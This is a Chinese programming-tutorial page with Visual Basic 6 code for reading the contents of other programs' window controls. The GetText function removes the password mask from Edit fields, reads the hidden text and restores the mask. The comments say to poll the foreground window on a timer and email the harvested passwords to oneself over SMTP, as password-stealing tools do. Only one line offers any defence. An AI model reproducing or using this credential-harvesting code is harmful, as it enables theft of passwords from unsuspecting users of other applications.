欢迎来到Java学习网!
设为首页 | 加入收藏
当前位置: 首页 > 编程开发 > VB语言 >

'缓存子窗体控件句柄
Public ChildHwnd As String

Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

'发送消息
Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
'主要用来遍历子窗体和子控件句柄
Declare Function EnumChildWindows Lib "user32" (ByVal hWndParent As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
'控件类型
Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hWnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long

'开始遍历
EnumChildWindows me.hWnd, AddressOf EnumChildProc, ByVal 0&

'遍历子窗体控件句柄,这个函数必须用在模块中

Public Function EnumChildProc(ByVal hWnd As Long, ByVal lParam As Long) As Long

ChildHwnd = ChildHwnd & "," & hWnd
EnumChildProc = 1
End Function

'由于上面这个函数每次调用都会得到下一个子窗体(控件)的句柄,并赋值给hWnd,实际使用中,我把所有子句柄存放在ChildHwnd字符串中,遍历完毕,再

'Dim AllHwnd() As String

'去除多余的无效字符
'ChildHwnd = Mid(ChildHwnd, 2)
'转换成数组
'AllHwnd = Split(ChildHwnd, ",")

'获得所有子句柄后,需要获取其控件类型

'查看窗体/控件类型
Public Function FGetClassName(hWnd As Long) As String
Dim ClassName As String
Dim Ret As Long
'为类名设置缓存区大小
ClassName = Space(256)
'得到GETCLASSNAME返回值
Ret = GetClassName(hWnd, ClassName, 256)
FGetClassName = Left(ClassName, Ret)
End Function

'直接sendmessage 就可以得到控件中的内容了,对于某些可能有passwordchar属性的控件,需要先sendmessage查看其passwordchar属性,再  postmessage取消该属性,一定时间延迟后(一定要),再sendmessage读取内容,再sendmessage恢复 passwordchar属性

Public Function GetText(WindowHandle As Long) As String
Dim strBuffer As String, Char As String, lngTextLength As Long
strBuffer = Space(255)
'得到password掩码
Char = SendMessage(WindowHandle, &HD2, 0, 0)
'去除edit控件的passwordchar属性
PostMessage WindowHandle, &HCC, 0, 0
'如果是edit控件则等待消息发送成功
If InStr("Edit", FGetClassName(WindowHandle)) And Char <> "0" Then Sleep (10)
'得到edit控件的text
SendMessage WindowHandle, &HD, 255, ByVal strBuffer
'恢复edit控件的passwordchar属性
PostMessage WindowHandle, &HCC, ByVal Char, 0
GetText = Trim(strBuffer)

End Function

'最后,利用timer控件,不断获取当前窗体GetForegroundWindow的所有子控件的内容就可以了

'可以向密码结巴那样,整理出密码后smtp到自己邮箱(参见使用winsock和smtp一文)

'这种较高级的消息只对普通edit控件产生作用,自己写个类就比较安全了

'今天在安全焦点看了篇文章,可以直接从内存中读取控件内容,vb要实现可能很有点难...

    相关教程
    推荐内容